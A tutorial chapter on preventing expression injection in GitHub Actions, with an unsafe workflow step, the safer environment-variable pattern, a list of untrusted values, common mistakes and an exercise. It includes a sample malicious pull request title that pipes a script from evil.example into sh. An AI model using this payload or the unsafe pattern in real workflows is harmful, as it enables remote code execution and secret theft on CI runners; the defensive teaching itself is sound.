Sub topic 17
Avoiding expression injection
This chapter assumes you can read a workflow file and know that ${{ }} evaluates an expression. It also assumes you know that env sets shell environment variables. Both ideas appear in earlier chapters.
Why expressions can be dangerous
GitHub evaluates ${{ }} before the shell sees the script. The result is pasted into the script text as a plain string. The runner then hands the finished text to the shell.
Some context values come from people outside your team. Pull request titles, issue bodies, branch names, and commit messages are all examples. If you paste one into a run script, the shell parses it as code. This is called expression injection.
An unsafe example
Suppose a contributor opens a pull request with this title:
"; curl https://evil.example/x.sh | sh; echo "The step below substitutes the title into the script. After substitution, the shell sees three commands, and the middle one downloads and runs a remote script.
name: injection
on: pull_request
jobs:
unsafe:
runs-on: ubuntu-latest
steps:
# Unsafe: the title is pasted into the script text before the shell parses it.
- run: echo "${{ github.event.pull_request.title }}"That code runs on your runner. It can read any secret available to the job and use the job's GITHUB_TOKEN.
The safe pattern
Assign the expression to an environment variable, then read the variable in the script. The expression is still evaluated first. But its result is stored as the variable's value and never becomes part of the script text. The shell expands "$TITLE" as a single quoted word and does not run it.
safe:
runs-on: ubuntu-latest
steps:
# Safe: the title is passed as data in an environment variable.
- env:
TITLE: ${{ github.event.pull_request.title }}
run: echo "$TITLE"Keep the quotes around "$TITLE". Without them, the shell may split the value on spaces or expand wildcards.
Which values to treat as untrusted
Treat a value as untrusted when someone outside your control can set it. Common sources:
github.event.pull_request.titleand.bodygithub.event.issue.titleand.bodygithub.event.comment.bodygithub.head_ref(the pull request branch name)github.event.head_commit.messageand commit author names
Values you control, such as github.run_id or runner.os, are not a risk in the same way.
Common mistakes
- Using the safe pattern in
envbut then writingeval "$TITLE"or passing it tobash -c. This turns the data back into code. - Assuming a branch name is harmless. Git allows characters such as
$,(, and ``` in branch names. - Fixing only one step. Search the whole workflow for
${{ github.eventinsiderun:blocks.
Exercise
A workflow has the step run: git checkout ${{ github.head_ref }}. Why is this risky, and how would you rewrite it?
Show answer
The branch name is chosen by the pull request author and is pasted into the script before the shell runs, so a name containing shell syntax can run commands. Rewrite it with env: { BRANCH: "${{ github.head_ref }}" } and run: git checkout -- "$BRANCH", so the shell treats the name as data.